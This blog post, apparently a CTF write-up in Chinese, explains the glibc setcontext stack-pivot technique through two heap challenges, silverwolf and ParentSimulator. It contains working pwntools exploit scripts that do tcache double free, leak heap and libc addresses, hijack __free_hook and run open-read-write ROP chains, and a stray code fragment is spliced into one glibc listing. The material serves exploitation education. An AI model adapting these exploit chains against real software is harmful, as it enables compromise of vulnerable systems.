从两道题目看setcontext
196082 慢慢好起来

现在的比赛,越来越卷了,所以出题人为了让选手难受一般都会开始沙盒这时候只能进行orw,不过在栈里面这种方式还是常见。但是在堆利用当中我们更多的是修改hook为system或者one_gadget,为了能够实现orw就出现了新的手法 堆中栈迁移

Glibc2.29以下

首先先看一下在glibc2.29以下的此类利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x00007f1c03351180 <+0>:	push   rdi
0x00007f1c03351181 <+1>: lea rsi,[rdi+0x128]
0x00007f1c03351188 <+8>: xor edx,edx
0x00007f1c0335118a <+10>: mov edi,0x2
0x00007f1c0335118f <+15>: mov r10d,0x8
0x00007f1c03351195 <+21>: mov eax,0xe
0x00007f1c0335119a <+26>: syscall
0x00007f1c0335119c <+28>: pop rdi
0x00007f1c0335119d <+29>: cmp rax,0xfffffffffffff001
0x00007f1c033511a3 <+35>: jae 0x7f1c03351200 <setcontext+128>
0x00007f1c033511a5 <+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x00007f1c033511ac <+44>: fldenv [rcx]
0x00007f1c033511ae <+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x00007f1c033511b5 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007f1c033511bc <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f1c033511c3 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f1c033511c7 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f1c033511cb <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f1c033511cf <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f1c033511d3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f1c033511d7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f1c033511de <+94>: push rcx
0x00007f1c033511df <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f1c033511e3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f1c033511ea <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f1c033511f1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f1c033511f5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f1c033511f9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f1c033511fd <+125>: xor eax,eax
0x00007f1c033511ff <+127>: ret

可以看到这里是以rdi为基地址向其他寄存器写入值,并且这里可以控制rsp和rip,虽然上面没有直接向rip写,但是上面是先写在rcx再将rcx进栈随后ret,所以rcx的值其实也就是最后rip的值。

CISCN2021-silverwolf

题目的代码很清晰,流程很容易分析所以自己下去分析一下

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && chunk )
free(chunk);
return __readfsqword(0x28u) ^ v2;
}

delete存在很明显的UAF漏洞,泄漏heap地址和libc地址这里就不在赘述,这里提一下tcache double free的检测,这道提的libc版本是2.27-3ubuntu1.3虽然是2.27但是已经加了检测机制,所以可以当作2.29来打,这里先看一下检测的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

可以看到我们chunk进入tcache之后会将key位其实也就是bk位设置为tcache地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}r.recvuntil(b'Please input index?')
r.sendline(bytes(str(idx), encoding='utf8'))
}

然后再验证free的chunk的key位是否为tcache地址,所以只需要覆盖掉就好了。

所以思路就很简单了,只需要通过double free控制tcache struct,然后覆盖掉free_hook为setcontext+53,不过需要注意的是这里的堆能写入的最大值为0x78所以,我们在构造rdi+0xa0和rdi+0xa8时需要用到两个chunk,还有一点很坑的就是在进行rop时不能直接调用open

1
2
3
4
5
6
7
0x00007f1c0340ed49 <+57>:	test   eax,eax
0x00007f1c0340ed4b <+59>: jne 0x7f1c0340edb6 <__libc_open64+166>
0x00007f1c0340ed4d <+61>: mov edx,esi
0x00007f1c0340ed4f <+63>: mov eax,0x101
0x00007f1c0340ed54 <+68>: mov rsi,rdi
0x00007f1c0340ed57 <+71>: mov edi,0xffffff9c
0x00007f1c0340ed5c <+76>: syscall

反汇编存在以下几行,这里进行syscall时rax其实并不是2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>> seccomp-tools dump ./silverwolf

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

可以看到这里的沙盒限制了,所以直接使用地址调用open是不行的需要自己赋值rax,最后这里给出上面题目的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

elf = ELF('./silverwolf')
# r = process('./silverwolf')
r = remote('1.14.71.254', 28017)
libc = ELF('./libc-2.27.so')
context.arch = 'amd64'


def menu(options):
r.recvuntil(b'Your choice: ')
r.sendline(bytes(str(options), encoding='utf-8'))


def create(size):
menu(1)
r.recvuntil(b'Index: ')
r.sendline(b'0')
r.recvuntil(b'Size: ')
r.sendline(bytes(str(size), encoding='utf-8'))


def edit(content):
menu(2)
r.recvuntil(b'Index: ')
r.sendline(b'0')
r.recvuntil(b'Content: ')
r.sendline(content)


def show():
menu(3)
r.recvuntil(b'Index: ')
r.sendline(b'0')


def delete():
menu(4)
r.recvuntil(b'Index: ')
r.sendline(b'0')


for i in range(12):
create(0x10)
create(0x50)
for i in range(11):
create(0x60)
for i in range(7):
create(0x70)

create(0x78)
delete()
edit(b'\x00'*0x10)
delete()
show()
r.recvuntil(b'Content: ')
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
heap_base = heap_addr-0x1920
print("heap_base=>", hex(heap_base))

edit(p64(heap_base+0x10))
create(0x78)
create(0x78)
payload = b'a'*0x70+p64(0)
edit(payload)
delete()
show()
r.recvuntil(b'Content: ')
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']
print('libc_base=>', hex(libc_base))

__free_hook = libc_base+libc.symbols['__free_hook']
read_addr = libc_base+libc.symbols['read']
puts_addr = libc_base+libc.symbols['puts']
setcontext_addr = libc_base+libc.symbols['setcontext']+53
syscall_addr = libc_base+next(libc.search(asm('syscall\nret')))
pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret')))
pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret')))
pop_rax = libc_base+next(libc.search(asm('pop rax\nret')))
ret_addr = libc_base+next(libc.search(asm('ret')))

payload = b'\x02'+b'\x00'*4+b'\x02'*2+b'\x00'*4+b'\x03'+b'\x00'+b'\x02'
payload = payload.ljust(0x40, b'\x00')+p64(heap_base+0x400)
payload = payload.ljust(0x68, b'\x00')+p64(heap_base+0x1130+0x10) + \
p64(heap_base+0x1560+0x10)
edit(payload)

create(0x10)
edit(b'./flag\x00\x00')
flag_addr = heap_base+0x400
bss = libc_base+libc.bss()+0x100
rop_chain = p64(pop_rdi)+p64(flag_addr)+p64(pop_rax) + \
p64(constants.SYS_open)+p64(syscall_addr)
rop_chain += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx) + \
p64(0x30)+p64(read_addr)
rop_chain += p64(pop_rdi)+p64(bss)+p64(puts_addr)

create(0x78)
delete()
edit(p64(libc_base+libc.symbols['__free_hook']))
create(0x78)
edit(rop_chain)
rop_addr = heap_base+0x1560+0x10

create(0x68)
delete()
edit(p64(heap_base+0x10c0+0x10))
create(0x68)
edit(b'\x00'*0x30+p64(rop_addr)+p64(ret_addr))
create(0x78)
edit(p64(setcontext_addr))
create(0x68)
delete()

r.interactive()

Glibc2.29以上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x00007f37b1e420dd <+61>:	mov    rsp,QWORD PTR [rdx+0xa0]
0x00007f37b1e420e4 <+68>: mov rbx,QWORD PTR [rdx+0x80]
0x00007f37b1e420eb <+75>: mov rbp,QWORD PTR [rdx+0x78]
0x00007f37b1e420ef <+79>: mov r12,QWORD PTR [rdx+0x48]
0x00007f37b1e420f3 <+83>: mov r13,QWORD PTR [rdx+0x50]
0x00007f37b1e420f7 <+87>: mov r14,QWORD PTR [rdx+0x58]
0x00007f37b1e420fb <+91>: mov r15,QWORD PTR [rdx+0x60]
... ...
0x00007f37b1e421c6 <+294>: mov rcx,QWORD PTR [rdx+0xa8]
0x00007f37b1e421cd <+301>: push rcx
0x00007f37b1e421ce <+302>: mov rsi,QWORD PTR [rdx+0x70]
0x00007f37b1e421d2 <+306>: mov rdi,QWORD PTR [rdx+0x68]
0x00007f37b1e421d6 <+310>: mov rcx,QWORD PTR [rdx+0x98]
0x00007f37b1e421dd <+317>: mov r8,QWORD PTR [rdx+0x28]
0x00007f37b1e421e1 <+321>: mov r9,QWORD PTR [rdx+0x30]
0x00007f37b1e421e5 <+325>: mov rdx,QWORD PTR [rdx+0x88]
0x00007f37b1e421ec <+332>: xor eax,eax
0x00007f37b1e421ee <+334>: ret

可以看到在glibc2.29以上的版本是以rdx作为索引的,这时我们就需要一个gadget可以操作rdx了getkeyserv_handle

1
2
3
0x00007f3ddba96930 <+576>:	mov    rdx,QWORD PTR [rdi+0x8]
0x00007f3ddba96934 <+580>: mov QWORD PTR [rsp],rax
0x00007f3ddba96938 <+584>: call QWORD PTR [rdx+0x20]

所以此时我们就可以根据rdi继续操作rdx实现栈劫持

2021DASCTF 3月ParentSimulator

题目的流程很是很简单,结构很清晰可以分析出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_196B()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = input_int();
v2 = v0;
if ( v0 <= 9 )
{
v0 = chunk_arr[v0];
if ( v0 )
{
free(chunk_arr[v2]);
chunk_inuse[v2] = 0;
LODWORD(v0) = puts("Done");
}
}
return v0;
}

在delete时没有检测chunk_inuse就直接free了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int sub_1AB0()
{
char *v0; // rax
int v2; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]

printf("You only have 1 chances to change your child's gender, left: %d\n", dword_4010);
LODWORD(v0) = dword_4010;
if ( dword_4010 )
{
puts("Please input index?");
LODWORD(v0) = input_int();
v2 = v0;
if ( v0 <= 9 )
{
v0 = chunk_arr[v0];
if ( v0 )
{
--dword_4010;
printf("Current gender:%s\n", (chunk_arr[v2] + 8LL));
puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
v3 = input_int();
if ( v3 == 1 )
{
v0 = (chunk_arr[v2] + 8LL);
*v0 = 7958370;
}
else if ( v3 == 2 )
{
v0 = (chunk_arr[v2] + 8LL);
strcpy(v0, "girl");
}
else
{
LODWORD(v0) = puts("oho, you choose a invalid gender.");
}
}
}
}
return v0;
}

并且在改变性别时也是没有检测chunk_inuse,而且改变性别的位置正好是bk指针,所以可以实现tcache double free

解法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'


def menu(option):
r.recvuntil(b'>> ')
r.send(bytes(str(option), encoding='utf8')+b'\n')


def create(idx, gender, name):
menu(1)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))
r.recvuntil(b"2.Girl:")
r.send(bytes(str(gender), encoding='utf8'))
r.recvuntil(b"Please input your child's name:")
r.send(name)


def change_name(idx, name):
menu(2)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))
r.recvuntil(b"Please input your child's new name:")
r.send(name)


def show(idx):
menu(3)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))


def delete(idx):
menu(4)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))


def edit(idx, description):
menu(5)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))
r.recvuntil(b"description:")
r.send(description)


def change_gender(idx, gender):
menu(666)
r.recvuntil(b'Please input index?')
r.send(bytes(str(idx), encoding='utf8'))
r.recvuntil(b"2.Girl:")
r.send(bytes(str(gender), encoding='utf8'))


context.log_level = 'debug'

create(0, 1, b'cml')
delete(0)
change_gender(0, 2)
delete(0)
create(0, 1, b'cml')
create(1, 1, b'cml')
create(2, 1, b'cml')
delete(1)
delete(2)
show(0)
r.recvuntil(b'Gender: ')
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x10
print("heap_base=>", hex(heap_base))

create(1, 1, b'cml')
create(2, 1, b'cml')
delete(1)
delete(2)
change_name(0, p64(heap_base+0x10)[:-1])
create(1, 1, b'cml')
create(2, 2, b'\x00'*7)
edit(2, b'\x00'*14+b'\x08')
delete(1)
show(0)
r.recvuntil(b'Gender: ')
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']
print('libc_base=>', hex(libc_base))

setcontext_addr = libc_base+libc.symbols['setcontext']+61
free_hook = libc_base+libc.symbols['__free_hook']
open_addr = libc_base+libc.symbols['open']
read_addr = libc_base+libc.symbols['read']
puts_addr = libc_base+libc.symbols['puts']
pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret')))
pop_rdx_r12 = libc_base+0x000000000011c371
ret_addr = libc_base+next(libc.search(asm('ret')))
gadget = libc_base+0x1546f0+576
'''
0x00007f3ddba96930 <+576>: mov rdx,QWORD PTR [rdi+0x8]
0x00007f3ddba96934 <+580>: mov QWORD PTR [rsp],rax
0x00007f3ddba96938 <+584>: call QWORD PTR [rdx+0x20]
'''
bss = libc_base+libc.bss()+0x300
flag_addr = heap_base+0x4c0
rop_chain = p64(pop_rdi)+p64(flag_addr)+p64(open_addr)
rop_chain += p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(bss) + \
p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(read_addr)
rop_chain += p64(pop_rdi)+p64(bss)+p64(puts_addr)
edit(2, b'\x00'*15)
create(1, 1, b'aaaaaaa')
create(3, 1, b'flag\x00\x00\x00')
edit(3, rop_chain)
print(hex(puts_addr))
rop_chain_addr = heap_base+0x4d0

create(4, 1, b'aaaaaaa')
arg_addr = heap_base+0x5e0
payload = b'\x00'*14+b'\x01'
payload = payload.ljust(0xe8, b'\x00')+p64(arg_addr)
edit(2, payload[:-1])
create(5, 1, b'shell')
payload = p64(0)+p64(arg_addr)
payload = payload.ljust(0x20, b'\x00')+p64(setcontext_addr)
payload = payload.ljust(0xa0, b'\x00') + \
p64(rop_chain_addr)+p64(setcontext_addr+334-61)
edit(4, payload)

payload = b'\x00'*14+b'\x01'
payload = payload.ljust(0xe8, b'\x00')+p64(free_hook)
edit(2, payload[:-1])
create(6, 1, p64(gadget)[:-1])
delete(5)

r.interactive()

解法2:

在我的这篇文章中,讲了另一个方式劫持栈,也就是通过environ泄漏栈地址,计算与main函数ret时的栈地址的偏移量进行劫持,这里主要是讲解gadget就不在赘述

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量